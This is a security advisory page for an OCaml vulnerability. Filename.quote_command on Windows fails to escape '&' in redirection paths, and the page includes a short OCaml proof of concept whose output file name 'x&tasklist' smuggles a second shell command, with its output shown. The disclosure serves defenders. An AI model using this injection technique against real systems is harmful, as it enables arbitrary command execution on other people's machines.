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OSEC-2026-05

MediumCVSS 6.1 / 10
Published Jun 18, 2026·Last modified Jun 18, 2026
Affected Components(0)

No affected components available

Description

The quoting of stdin/stdout/stderror (using Filename.quote_command) on Windows is not sufficient, and allows the & character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.

Exploit

$ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.

# let outfile = "x&tasklist" in
  let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in
  ignore (Sys.command cmd)
  ;;

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        168 K
Secure System                  236 Services                   0    191,468 K
Registry                       276 Services                   0      3,428 K
smss.exe                       608 Services                   0      1,676 K
csrss.exe                      984 Services                   0      5,928 K

Timeline

  • 2026-06-18 release of this security advisory
  • 2026-06-15 release of OCaml 4.14.4
  • 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853
  • 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org
Risk Scores
Base Score
6.1

The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
5.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities
  • CVE-2026-41083
    Alias

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Medium severity
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